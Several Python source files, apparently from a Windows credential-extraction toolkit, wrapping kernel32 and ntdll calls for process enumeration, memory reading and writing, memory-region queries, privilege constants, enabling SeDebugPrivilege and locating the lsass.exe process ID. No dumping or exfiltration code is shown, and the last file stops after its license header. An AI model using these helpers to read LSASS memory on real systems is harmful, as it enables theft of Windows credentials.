135 COPY_ON_WRITE = (
136 PAGE_EXECUTE_WRITECOPY |
137 PAGE_WRITECOPY
138 )
139
140 EXECUTABLE = (
141 PAGE_EXECUTE |
142 PAGE_EXECUTE_READ |
143 PAGE_EXECUTE_READWRITE |
144 PAGE_EXECUTE_WRITECOPY
145 )
146
147 EXECUTABLE_AND_WRITEABLE = (
148 PAGE_EXECUTE_READWRITE |
149 PAGE_EXECUTE_WRITECOPY
150 )
151
152 def __init__(self, mbi=None):
153 """
154 @type mbi: L{MEMORY_BASIC_INFORMATION} or L{MemoryBasicInformation}
155 @param mbi: Either a L{MEMORY_BASIC_INFORMATION} structure or another
156 L{MemoryBasicInformation} instance.
157 """
158 if mbi is None:
159 self.BaseAddress = None
160 self.AllocationBase = None
161 self.AllocationProtect = None
162 self.RegionSize = None
163 self.State = None
164 self.Protect = None
165 self.Type = None
166 else:
167 self.BaseAddress = mbi.BaseAddress
168 self.AllocationBase = mbi.AllocationBase
169 self.AllocationProtect = mbi.AllocationProtect
170 self.RegionSize = mbi.RegionSize
171 self.State = mbi.State
172 self.Protect = mbi.Protect
173 self.Type = mbi.Type
174
175 # Only used when copying MemoryBasicInformation objects, instead of
176 # instancing them from a MEMORY_BASIC_INFORMATION structure.
177 if hasattr(mbi, 'content'):
178 self.content = mbi.content
179 if hasattr(mbi, 'filename'):
180 self.content = mbi.filename
181
182 def __contains__(self, address):
183 """
184 Test if the given memory address falls within this memory region.
185 @type address: int
186 @param address: Memory address to test.
187 @rtype: bool
188 @return: C{True} if the given memory address falls within this memory
189 region, C{False} otherwise.
190 """
191 return self.BaseAddress <= address < (self.BaseAddress + self.RegionSize)
192
193 def is_free(self):
194 """
195 @rtype: bool
196 @return: C{True} if the memory in this region is free.
197 """
198 return self.State == MEM_FREE
199
200 def is_reserved(self):
201 """
202 @rtype: bool
203 @return: C{True} if the memory in this region is reserved.
204 """
205 return self.State == MEM_RESERVE
206
207 def is_commited(self):
208 """
209 @rtype: bool
210 @return: C{True} if the memory in this region is commited.
211 """
212 return self.State == MEM_COMMIT
213
214 def is_image(self):
215 """
216 @rtype: bool
217 @return: C{True} if the memory in this region belongs to an executable
218 image.
219 """
220 return self.Type == MEM_IMAGE
221
222 def is_mapped(self):
223 """
224 @rtype: bool
225 @return: C{True} if the memory in this region belongs to a mapped file.
226 """
227 return self.Type == MEM_MAPPED
228
229 def is_private(self):
230 """
231 @rtype: bool
232 @return: C{True} if the memory in this region is private.
233 """
234 return self.Type == MEM_PRIVATE
235
236 def is_guard(self):
237 """
238 @rtype: bool
239 @return: C{True} if all pages in this region are guard pages.
240 """
241 return self.is_commited() and bool(self.Protect & PAGE_GUARD)
242
243 def has_content(self):
244 """
245 @rtype: bool
246 @return: C{True} if the memory in this region has any data in it.
247 """
248 return self.is_commited() and not bool(self.Protect & (PAGE_GUARD | PAGE_NOACCESS))
249
250 def is_readable(self):
251 """
252 @rtype: bool
253 @return: C{True} if all pages in this region are readable.
254 """
255 return self.has_content() and bool(self.Protect & self.READABLE)
256
257 def is_writeable(self):
258 """
259 @rtype: bool
260 @return: C{True} if all pages in this region are writeable.
261 """
262 return self.has_content() and bool(self.Protect & self.WRITEABLE)
263
264 def is_copy_on_write(self):
265 """
266 @rtype: bool
267 @return: C{True} if all pages in this region are marked as
268 copy-on-write. This means the pages are writeable, but changes
269 are not propagated to disk.
270 @note:
271 Tipically data sections in executable images are marked like this.
272 """
273 return self.has_content() and bool(self.Protect & self.COPY_ON_WRITE)
274
275 def is_executable(self):
276 """
277 @rtype: bool
278 @return: C{True} if all pages in this region are executable.
279 @note: Executable pages are always readable.
280 """
281 return self.has_content() and bool(self.Protect & self.EXECUTABLE)
282
283 def is_executable_and_writeable(self):
284 """
285 @rtype: bool
286 @return: C{True} if all pages in this region are executable and
287 writeable.
288 @note: The presence of such pages make memory corruption
289 vulnerabilities much easier to exploit.
290 """
291 return self.has_content() and bool(self.Protect & self.EXECUTABLE_AND_WRITEABLE)
292
293
294 # DWORD WINAPI GetLastError(void);
295 def GetLastError():
296 _GetLastError = windll.kernel32.GetLastError
297 _GetLastError.argtypes = []
298 _GetLastError.restype = DWORD
299 return _GetLastError()
300
301 # typedef struct _MEMORY_BASIC_INFORMATION {
302 # PVOID BaseAddress;
303 # PVOID AllocationBase;
304 # DWORD AllocationProtect;
305 # SIZE_T RegionSize;
306 # DWORD State;
307 # DWORD Protect;
308 # DWORD Type;
309 # } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;
310 class MEMORY_BASIC_INFORMATION(Structure):
311 _fields_ = [
312 ('BaseAddress', SIZE_T), # remote pointer
313 ('AllocationBase', SIZE_T), # remote pointer
314 ('AllocationProtect', DWORD),
315 ('RegionSize', SIZE_T),
316 ('State', DWORD),
317 ('Protect', DWORD),
318 ('Type', DWORD),
319 ]
320 PMEMORY_BASIC_INFORMATION = POINTER(MEMORY_BASIC_INFORMATION)
321
322
323 # BOOL WINAPI CloseHandle(
324 # __in HANDLE hObject
325 # );
326 def CloseHandle(hHandle):
327 if hasattr(hHandle, 'close'):
328 # Prevents the handle from being closed without notifying the Handle object.
329 hHandle.close()
330 else:
331 _CloseHandle = windll.kernel32.CloseHandle
332 _CloseHandle.argtypes = [HANDLE]
333 _CloseHandle.restype = bool
334 _CloseHandle.errcheck = RaiseIfZero
335 _CloseHandle(hHandle)
336
337
338 # DWORD WINAPI GetCurrentProcessId(void);
339 def GetCurrentProcessId():
340 _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId
341 _GetCurrentProcessId.argtypes = []
342 _GetCurrentProcessId.restype = DWORD
343 return _GetCurrentProcessId()
344
345 # BOOL WINAPI QueryFullProcessImageName(
346 # __in HANDLE hProcess,
347 # __in DWORD dwFlags,
348 # __out LPTSTR lpExeName,
349 # __inout PDWORD lpdwSize
350 # );
351 def QueryFullProcessImageNameW(hProcess, dwFlags = 0):
352 _QueryFullProcessImageNameW = windll.kernel32.QueryFullProcessImageNameW
353 _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, PDWORD]
354 _QueryFullProcessImageNameW.restype = bool
355
356 dwSize = MAX_PATH
357 while 1:
358 lpdwSize = DWORD(dwSize)
359 lpExeName = ctypes.create_unicode_buffer('', lpdwSize.value + 1)
360 success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize))
361 if success and 0 < lpdwSize.value < dwSize:
362 break
363 error = GetLastError()
364 if error != ERROR_INSUFFICIENT_BUFFER:
365 raise ctypes.WinError(error)
366 dwSize = dwSize + 256
367 if dwSize > 0x1000:
368 # this prevents an infinite loop in Windows 2008 when the path has spaces,
369 # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4
370 raise ctypes.WinError(error)
371 return lpExeName.value
372
373 # HANDLE WINAPI OpenProcess(
374 # __in DWORD dwDesiredAccess,
375 # __in BOOL bInheritHandle,
376 # __in DWORD dwProcessId
377 # );
378 def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId):
379 _OpenProcess = windll.kernel32.OpenProcess
380 _OpenProcess.argtypes = [DWORD, BOOL, DWORD]
381 _OpenProcess.restype = HANDLE
382
383 hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId)
384 if hProcess == NULL:
385 raise ctypes.WinError()
386 return hProcess
387
388
389 # BOOL WINAPI ReadProcessMemory(
390 # __in HANDLE hProcess,
391 # __in LPCVOID lpBaseAddress,
392 # __out LPVOID lpBuffer,
393 # __in SIZE_T nSize,
394 # __out SIZE_T* lpNumberOfBytesRead
395 # );
396 def ReadProcessMemory(hProcess, lpBaseAddress, nSize):
397 _ReadProcessMemory = windll.kernel32.ReadProcessMemory
398 _ReadProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)]
399 _ReadProcessMemory.restype = bool
400
401 lpBuffer = ctypes.create_string_buffer(nSize)
402 lpNumberOfBytesRead = SIZE_T(0)
403 success = _ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesRead))
404 if not success and GetLastError() != ERROR_PARTIAL_COPY:
405 raise ctypes.WinError()
406 return lpBuffer.raw[:lpNumberOfBytesRead.value]
407
408 # BOOL WINAPI WriteProcessMemory(
409 # __in HANDLE hProcess,
410 # __in LPCVOID lpBaseAddress,
411 # __in LPVOID lpBuffer,
412 # __in SIZE_T nSize,
413 # __out SIZE_T* lpNumberOfBytesWritten
414 # );
415 def WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer):
416 _WriteProcessMemory = windll.kernel32.WriteProcessMemory
417 _WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)]
418 _WriteProcessMemory.restype = bool
419
420 nSize = len(lpBuffer)
421 lpBuffer = ctypes.create_string_buffer(lpBuffer)
422 lpNumberOfBytesWritten = SIZE_T(0)
423 success = _WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesWritten))
424 if not success and GetLastError() != ERROR_PARTIAL_COPY:
425 raise ctypes.WinError()
426 return lpNumberOfBytesWritten.value
427
428
429 # SIZE_T WINAPI VirtualQueryEx(
430 # __in HANDLE hProcess,
431 # __in_opt LPCVOID lpAddress,
432 # __out PMEMORY_BASIC_INFORMATION lpBuffer,
433 # __in SIZE_T dwLength
434 # );
435 def VirtualQueryEx(hProcess, lpAddress):
436 _VirtualQueryEx = windll.kernel32.VirtualQueryEx
437 _VirtualQueryEx.argtypes = [HANDLE, LPVOID, PMEMORY_BASIC_INFORMATION, SIZE_T]
438 _VirtualQueryEx.restype = SIZE_T
439
440 lpBuffer = MEMORY_BASIC_INFORMATION()
441 dwLength = sizeof(MEMORY_BASIC_INFORMATION)
442 success = _VirtualQueryEx(hProcess, lpAddress, byref(lpBuffer), dwLength)
443 if success == 0:
444 raise ctypes.WinError()
445 return MemoryBasicInformation(lpBuffer)
446
447 # HLOCAL WINAPI LocalFree(
448 # __in HLOCAL hMem
449 # );
450 def LocalFree(hMem):
451 _LocalFree = windll.kernel32.LocalFree
452 _LocalFree.argtypes = [HLOCAL]
453 _LocalFree.restype = HLOCAL
454
455 result = _LocalFree(hMem)
456 if result != NULL:
457 ctypes.WinError()
458
459
460 #--- SECURITY_ATTRIBUTES structure --------------------------------------------
461
462 # typedef struct _SECURITY_ATTRIBUTES {
463 # DWORD nLength;
464 # LPVOID lpSecurityDescriptor;
465 # BOOL bInheritHandle;
466 # } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;
467 class SECURITY_ATTRIBUTES(Structure):
468 _fields_ = [
469 ('nLength', DWORD),
470 ('lpSecurityDescriptor', LPVOID),
471 ('bInheritHandle', BOOL),
472 ]
473 LPSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES)
474
475 # --- Extended process and thread attribute support ---------------------------
476
477 PPROC_THREAD_ATTRIBUTE_LIST = LPVOID
478 LPPROC_THREAD_ATTRIBUTE_LIST = PPROC_THREAD_ATTRIBUTE_LIST
479
480 PROC_THREAD_ATTRIBUTE_NUMBER = 0x0000FFFF
481 PROC_THREAD_ATTRIBUTE_THREAD = 0x00010000 # Attribute may be used with thread creation
482 PROC_THREAD_ATTRIBUTE_INPUT = 0x00020000 # Attribute is input only
483 PROC_THREAD_ATTRIBUTE_ADDITIVE = 0x00040000 # Attribute may be "accumulated," e.g. bitmasks, counters, etc.
484
485 # PROC_THREAD_ATTRIBUTE_NUM
486 ProcThreadAttributeParentProcess = 0
487 ProcThreadAttributeExtendedFlags = 1
488 ProcThreadAttributeHandleList = 2
489 ProcThreadAttributeGroupAffinity = 3
490 ProcThreadAttributePreferredNode = 4
491 ProcThreadAttributeIdealProcessor = 5
492 ProcThreadAttributeUmsThread = 6
493 ProcThreadAttributeMitigationPolicy = 7
494 ProcThreadAttributeMax = 8
495
496 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = ProcThreadAttributeParentProcess | PROC_THREAD_ATTRIBUTE_INPUT
497 PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS = ProcThreadAttributeExtendedFlags | PROC_THREAD_ATTRIBUTE_INPUT | PROC_THREAD_ATTRIBUTE_ADDITIVE
498 PROC_THREAD_ATTRIBUTE_HANDLE_LIST = ProcThreadAttributeHandleList | PROC_THREAD_ATTRIBUTE_INPUT
499 PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY = ProcThreadAttributeGroupAffinity | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT
500 PROC_THREAD_ATTRIBUTE_PREFERRED_NODE = ProcThreadAttributePreferredNode | PROC_THREAD_ATTRIBUTE_INPUT
501 PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR = ProcThreadAttributeIdealProcessor | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT
502 PROC_THREAD_ATTRIBUTE_UMS_THREAD = ProcThreadAttributeUmsThread | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT
503 PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = ProcThreadAttributeMitigationPolicy | PROC_THREAD_ATTRIBUTE_INPUT
504
505 PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE = 0x01
506 PROCESS_CREATION_MITIGATION_POLICY_DEP_ATL_THUNK_ENABLE = 0x02
507 PROCESS_CREATION_MITIGATION_POLICY_SEHOP_ENABLE = 0x04
508
509 #--- PROCESS_INFORMATION structure --------------------------------------------
510
511 # typedef struct _PROCESS_INFORMATION {
512 # HANDLE hProcess;
513 # HANDLE hThread;
514 # DWORD dwProcessId;
515 # DWORD dwThreadId;
516 # } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
517 class PROCESS_INFORMATION(Structure):
518 _fields_ = [
519 ('hProcess', HANDLE),
520 ('hThread', HANDLE),
521 ('dwProcessId', DWORD),
522 ('dwThreadId', DWORD),
523 ]
524 LPPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION)
525
526 #--- STARTUPINFO and STARTUPINFOEX structures ---------------------------------
527
528 # typedef struct _STARTUPINFO {
529 # DWORD cb;
530 # LPTSTR lpReserved;
531 # LPTSTR lpDesktop;
532 # LPTSTR lpTitle;
533 # DWORD dwX;
534 # DWORD dwY;
535 # DWORD dwXSize;
536 # DWORD dwYSize;
537 # DWORD dwXCountChars;
538 # DWORD dwYCountChars;
539 # DWORD dwFillAttribute;
540 # DWORD dwFlags;
541 # WORD wShowWindow;
542 # WORD cbReserved2;
543 # LPBYTE lpReserved2;
544 # HANDLE hStdInput;
545 # HANDLE hStdOutput;
546 # HANDLE hStdError;
547 # }STARTUPINFO, *LPSTARTUPINFO;
548 class STARTUPINFO(Structure):
549 _fields_ = [
550 ('cb', DWORD),
551 ('lpReserved', LPSTR),
552 ('lpDesktop', LPSTR),
553 ('lpTitle', LPSTR),
554 ('dwX', DWORD),
555 ('dwY', DWORD),
556 ('dwXSize', DWORD),
557 ('dwYSize', DWORD),
558 ('dwXCountChars', DWORD),
559 ('dwYCountChars', DWORD),
560 ('dwFillAttribute', DWORD),
561 ('dwFlags', DWORD),
562 ('wShowWindow', WORD),
563 ('cbReserved2', WORD),
564 ('lpReserved2', LPVOID), # LPBYTE
565 ('hStdInput', HANDLE),
566 ('hStdOutput', HANDLE),
567 ('hStdError', HANDLE),
568 ]
569 LPSTARTUPINFO = POINTER(STARTUPINFO)
570
571 # typedef struct _STARTUPINFOEX {
572 # STARTUPINFO StartupInfo;
573 # PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
574 # } STARTUPINFOEX, *LPSTARTUPINFOEX;
575 class STARTUPINFOEX(Structure):
576 _fields_ = [
577 ('StartupInfo', STARTUPINFO),
578 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
579 ]
580 LPSTARTUPINFOEX = POINTER(STARTUPINFOEX)
581
582 class STARTUPINFOW(Structure):
583 _fields_ = [
584 ('cb', DWORD),
585 ('lpReserved', LPWSTR),
586 ('lpDesktop', LPWSTR),
587 ('lpTitle', LPWSTR),
588 ('dwX', DWORD),
589 ('dwY', DWORD),
590 ('dwXSize', DWORD),
591 ('dwYSize', DWORD),
592 ('dwXCountChars', DWORD),
593 ('dwYCountChars', DWORD),
594 ('dwFillAttribute', DWORD),
595 ('dwFlags', DWORD),
596 ('wShowWindow', WORD),
597 ('cbReserved2', WORD),
598 ('lpReserved2', LPVOID), # LPBYTE
599 ('hStdInput', HANDLE),
600 ('hStdOutput', HANDLE),
601 ('hStdError', HANDLE),
602 ]
603 LPSTARTUPINFOW = POINTER(STARTUPINFOW)
604
605 class STARTUPINFOEXW(Structure):
606 _fields_ = [
607 ('StartupInfo', STARTUPINFOW),
608 ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST),
609 ]
610 LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW)
0 import os
1 import sys
2 import ctypes
3 import enum
4 import logging
5
6 from .kernel32 import *
7 from .psapi import *
8
9 class WindowsMinBuild(enum.Enum):
10 WIN_XP = 2500
11 WIN_2K3 = 3000
12 WIN_VISTA = 5000
13 WIN_7 = 7000
14 WIN_8 = 8000
15 WIN_BLUE = 9400
16 WIN_10 = 9800
17
18
19 #utter microsoft bullshit commencing..
20 def getWindowsBuild():
21 class OSVersionInfo(ctypes.Structure):
22 _fields_ = [
23 ("dwOSVersionInfoSize" , ctypes.c_int),
24 ("dwMajorVersion" , ctypes.c_int),
25 ("dwMinorVersion" , ctypes.c_int),
26 ("dwBuildNumber" , ctypes.c_int),
27 ("dwPlatformId" , ctypes.c_int),
28 ("szCSDVersion" , ctypes.c_char*128)];
29 GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA")
30 version = OSVersionInfo()
31 version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo)
32 GetVersionEx( ctypes.byref(version) )
33 return version.dwBuildNumber
34
35 DELETE = 0x00010000
36 READ_CONTROL = 0x00020000
37 WRITE_DAC = 0x00040000
38 WRITE_OWNER = 0x00080000
39
40 SYNCHRONIZE = 0x00100000
41
42 STANDARD_RIGHTS_REQUIRED = DELETE | READ_CONTROL | WRITE_DAC | WRITE_OWNER
43 STANDARD_RIGHTS_ALL = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE
44
45 if getWindowsBuild() >= WindowsMinBuild.WIN_VISTA.value:
46 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFFF
47 else:
48 PROCESS_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF
49
50 PROCESS_QUERY_INFORMATION = 0x0400
51 PROCESS_VM_READ = 0x0010
52
53
54 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
55 def enum_process_names():
56 pid_to_name = {}
57
58 for pid in EnumProcesses():
59 if pid == 0:
60 continue
61 pid_to_name[pid] = 'Not found'
62 try:
63 process_handle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, pid)
64 except Exception as e:
65 continue
66
67 pid_to_name[pid] = QueryFullProcessImageNameW(process_handle)
68 return pid_to_name
69
70
71 def get_lsass_pid():
72 pid_to_name = enum_process_names()
73 for pid in pid_to_name:
74 if pid_to_name[pid].lower().find('lsass.exe') != -1:
75 return pid
76
77 raise Exception('Failed to find lsass.exe')
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import ctypes
7 from ctypes import windll
8 from ctypes.wintypes import ULONG, BOOL,LONG
9
10 from .privileges_types import *
11
12 STATUS_SUCCESS = 0
13 NTSTATUS = LONG
14 POINTER = ctypes.POINTER
15
16 def NtError(status):
17 """
18 Converts NTSTATUS codes into WinError codes
19 """
20 err = windll.ntdll.RtlNtStatusToDosError(status)
21 return ctypes.WinError(err)
22
23 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
24 # BOOL WINAPI RtlAdjustPrivilege(
25 # __in ULONG Privilege,
26 # __in BOOLEAN Enable,
27 # __in BOOLEAN CurrentThread,
28 # __in PBOOLEAN Enabled,
29 # );
30 def RtlAdjustPrivilege(privilige_id, enable = True, thread_or_process = False):
31 """
32 privilige_id: int
33 """
34 _RtlAdjustPrivilege = windll.ntdll.RtlAdjustPrivilege
35 _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)]
36 _RtlAdjustPrivilege.restype = NTSTATUS
37
38 CurrentThread = thread_or_process #enable for whole process
39 Enabled = BOOL()
40
41 status = _RtlAdjustPrivilege(privilige_id, enable, CurrentThread, ctypes.byref(Enabled))
42 if status != STATUS_SUCCESS:
43 raise Exception(NtError(status))
44
45 return True
46
47 def enable_debug_privilege():
48 """
49 Enables the SE_DEBUG privilege for the currently running process, if the process has SE_DEBUG privilege. (You'll need to be admin most probably)
50 """
51 RtlAdjustPrivilege(PrivilegeValues.SE_DEBUG.value)
52
53 if __name__ == '__main__':
54 enable_debug_privilege()
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import enum
7
8 class PrivilegeValues(enum.Enum):
9 SE_CREATE_TOKEN = 2
10 SE_ASSIGNPRIMARYTOKEN = 3
11 SE_LOCK_MEMORY=4
12 SE_INCREASE_QUOTA=5
13 SE_UNSOLICITED_INPUT=6
14 SE_TCB=7
15 SE_SECURITY=8
16 SE_TAKE_OWNERSHIP=9
17 SE_LOAD_DRIVER=10
18 SE_SYSTEM_PROFILE=11
19 SE_SYSTEMTIME=12
20 SE_PROF_SINGLE_PROCESS=13
21 SE_INC_BASE_PRIORITY=14
22 SE_CREATE_PAGEFILE=15
23 SE_CREATE_PERMANENT=16
24 SE_BACKUP=17
25 SE_RESTORE=18
26 SE_SHUTDOWN=19
27 SE_DEBUG=20
28 SE_AUDIT=21
29 SE_SYSTEM_ENVIRONMENT=22
30 SE_CHANGE_NOTIFY=23
31 SE_REMOTE_SHUTDOWN=24
32 SE_UNDOCK=25
33 SE_SYNC_AGENT=26
34 SE_ENABLE_DELEGATION=27
35 SE_MANAGE_VOLUME=28
36 SE_IMPERSONATE=29
37 SE_CREATE_GLOBAL=30
38 SE_TRUSTED_CREDMAN_ACCESS=31
39 SE_RELABEL=32
40 SE_INC_WORKING_SET=33
41 SE_TIME_ZONE=34
42 SE_CREATE_SYMBOLIC_LINK=35
43
44 class Privileges(enum.Enum):
45 SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege" #Required to assign the primary token of a process.
46 #User Right: Replace a process-level token.
47
48 SE_AUDIT_NAME = "SeAuditPrivilege" #Required to generate audit-log entries. Give this privilege to secure servers.
49 #User Right: Generate security audits.
50
51 SE_BACKUP_NAME = "SeBackupPrivilege" #Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this privilege is held:
52 SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege" #Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all traversal access checks. It is enabled by default for all users.
53 SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege" #Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is enabled by default for administrators, services, and the local system account.
54 #User Right: Create global objects.
55
56 SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege" # Required to create a paging file. #User Right: Create a pagefile.
57 SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege" #Required to create a permanent object.
58 #User Right: Create permanent shared objects.
59 SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege" #Required to create a symbolic link.
60 #User Right: Create symbolic links.
61
62 SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege" #Required to create a primary token.
63 #User Right: Create a token object.
64 #You cannot add this privilege to a user account with the "Create a token object" policy. Additionally, you cannot add this privilege to an owned process using Windows APIs.
65 #Windows Server 2003 and Windows XP with SP1 and earlier: Windows APIs can add this privilege to an owned process.
66
67 SE_DEBUG_NAME = "SeDebugPrivilege" #Required to debug and adjust the memory of a process owned by another account.
68 #User Right: Debug programs.
69
70 SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege" #Required to mark user and computer accounts as trusted for delegation.
71 #User Right: Enable computer and user accounts to be trusted for delegation.
72 SE_IMPERSONATE_NAME = "SeImpersonatePrivilege" #Required to impersonate.
73 #User Right: Impersonate a client after authentication.
74
75 SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege" #Required to increase the base priority of a process.
76 #User Right: Increase scheduling priority.
77 SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege" #Required to increase the quota assigned to a process.
78 #User Right: Adjust memory quotas for a process.
79
80 SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege" #Required to allocate more memory for applications that run in the context of users.
81 #User Right: Increase a process working set.
82 SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege" #Required to load or unload a device driver.
83 #User Right: Load and unload device drivers.
84 SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege" #Required to lock physical pages in memory.
85 #User Right: Lock pages in memory.
86 SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege" #Required to create a computer account.
87 #User Right: Add workstations to domain.
88 SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege" #Required to enable volume management privileges.
89 #User Right: Manage the files on a volume.
90 SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege" #Required to gather profiling information for a single process.
91 #User Right: Profile single process.
92 SE_RELABEL_NAME = "SeRelabelPrivilege" #Required to modify the mandatory integrity level of an object.
93 #User Right: Modify an object label.
94
95 SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"# Required to shut down a system using a network request.
96 #User Right: Force shutdown from a remote system.
97
98 SE_RESTORE_NAME = "SeRestorePrivilege" #Required to perform restore operations. This privilege causes the system to grant all write access control to any file, regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, this privilege enables you to set any valid user or group SID as the owner of a file. This privilege is required by the RegLoadKey function. The following access rights are granted if this privilege is held:
99 SE_SECURITY_NAME = "SeSecurityPrivilege" #Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege identifies its holder as a security operator.
100 #User Right: Manage auditing and security log.
101 SE_SHUTDOWN_NAME = "SeShutdownPrivilege" #Required to shut down a local system.
102 #User Right: Shut down the system.
103 SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege" #Required for a domain controller to use the Lightweight Directory Access Protocol directory synchronization services. This privilege enables the holder to read all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is assigned to the Administrator and LocalSystem accounts on domain controllers.
104 #User Right: Synchronize directory service data.
105 SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege" #Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information.
106 #User Right: Modify firmware environment values.
107 SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege" #Required to gather profiling information for the entire system.
108 #User Right: Profile system performance.
109 SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege" #Required to modify the system time.
110 #User Right: Change the system time.
111 SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege" #Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be set only to those values that the holder may legitimately assign as the owner of an object.
112 #User Right: Take ownership of files or other objects.
113 SE_TCB_NAME = "SeTcbPrivilege" #This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this privilege.
114 #User Right: Act as part of the operating system.
115 SE_TIME_ZONE_NAME = "SeTimeZonePrivilege" #Required to adjust the time zone associated with the computer's internal clock.
116 #User Right: Change the time zone.
117 SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"#Required to access Credential Manager as a trusted caller.
118 #User Right: Access Credential Manager as a trusted caller.
119 SE_UNDOCK_NAME = "SeUndockPrivilege" #Required to undock a laptop.
120 #User Right: Remove computer from docking station.
121 SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
